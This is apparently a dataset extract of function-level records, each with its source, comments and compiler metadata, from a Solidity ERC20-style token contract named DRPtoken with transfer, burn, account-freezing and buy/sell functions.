contract Token { string public name = "DevronKim's Research Purpose"; string public constant symbol = "DRP"; uint8 public constant decimals = 18; uint256 public totalSupply = 100000000 * 10 ** uint256(decimals); using SafeMath for uint256; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor() public { balanceOf[msg.sender] = totalSupply; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to].add(_value) > balanceOf[_to]); uint256 previousBalances = balanceOf[_to].add(balanceOf[_from]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value) ; // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } }
transferFrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; }
/** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 1818, 2152 ] }
1,355
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
Token
contract Token { string public name = "DevronKim's Research Purpose"; string public constant symbol = "DRP"; uint8 public constant decimals = 18; uint256 public totalSupply = 100000000 * 10 ** uint256(decimals); using SafeMath for uint256; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor() public { balanceOf[msg.sender] = totalSupply; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to].add(_value) > balanceOf[_to]); uint256 previousBalances = balanceOf[_to].add(balanceOf[_from]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value) ; // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } }
approve
function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; }
/** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 2416, 2592 ] }
1,356
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
Token
contract Token { string public name = "DevronKim's Research Purpose"; string public constant symbol = "DRP"; uint8 public constant decimals = 18; uint256 public totalSupply = 100000000 * 10 ** uint256(decimals); using SafeMath for uint256; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor() public { balanceOf[msg.sender] = totalSupply; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to].add(_value) > balanceOf[_to]); uint256 previousBalances = balanceOf[_to].add(balanceOf[_from]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value) ; // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } }
approveAndCall
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } }
/** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 2986, 3338 ] }
1,357
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
Token
contract Token { string public name = "DevronKim's Research Purpose"; string public constant symbol = "DRP"; uint8 public constant decimals = 18; uint256 public totalSupply = 100000000 * 10 ** uint256(decimals); using SafeMath for uint256; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor() public { balanceOf[msg.sender] = totalSupply; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to].add(_value) > balanceOf[_to]); uint256 previousBalances = balanceOf[_to].add(balanceOf[_from]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value) ; // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } }
burn
function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value) ; // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; }
/** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 3508, 3930 ] }
1,358
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
Token
contract Token { string public name = "DevronKim's Research Purpose"; string public constant symbol = "DRP"; uint8 public constant decimals = 18; uint256 public totalSupply = 100000000 * 10 ** uint256(decimals); using SafeMath for uint256; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor() public { balanceOf[msg.sender] = totalSupply; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to].add(_value) > balanceOf[_to]); uint256 previousBalances = balanceOf[_to].add(balanceOf[_from]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value) ; // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } }
burnFrom
function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; }
/** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */
NatSpecMultiLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 4188, 4873 ] }
1,359
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
DRPtoken
contract DRPtoken is owned, Token { uint256 public sellPrice; uint256 public buyPrice; using SafeMath for uint256; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor() Token() public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value.div(buyPrice); // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }
_transfer
function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); }
/* Internal transfer, only can be called by this contract */
Comment
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 526, 1243 ] }
1,360
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
DRPtoken
contract DRPtoken is owned, Token { uint256 public sellPrice; uint256 public buyPrice; using SafeMath for uint256; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor() Token() public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value.div(buyPrice); // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }
freezeAccount
function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); }
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not
NatSpecSingleLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 1424, 1590 ] }
1,361
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
DRPtoken
contract DRPtoken is owned, Token { uint256 public sellPrice; uint256 public buyPrice; using SafeMath for uint256; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor() Token() public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value.div(buyPrice); // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }
setPrices
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; }
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract
NatSpecSingleLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 1833, 1993 ] }
1,362
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
DRPtoken
contract DRPtoken is owned, Token { uint256 public sellPrice; uint256 public buyPrice; using SafeMath for uint256; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor() Token() public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value.div(buyPrice); // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }
buy
function buy() payable public { uint amount = msg.value.div(buyPrice); // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers }
/// @notice Buy tokens from contract by sending ether
NatSpecSingleLine
v0.4.24+commit.e67f0147
bzzr://d91717a6b6162f2c638e7cb1301c0cc472b07bdba9f963854f3d748dcd719e19
{ "func_code_index": [ 2055, 2267 ] }
1,363
DRPtoken
DRPtoken.sol
0xb218e7d2beb403a8e4e24512669d71066e8bf409
Solidity
DRPtoken
contract DRPtoken is owned, Token { uint256 public sellPrice; uint256 public buyPrice; using SafeMath for uint256; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor() Token() public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value.div(buyPrice); // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }
sell
function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks }
/// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold
NatSpecSingleLine
v0.4.24+commit.e67f0147
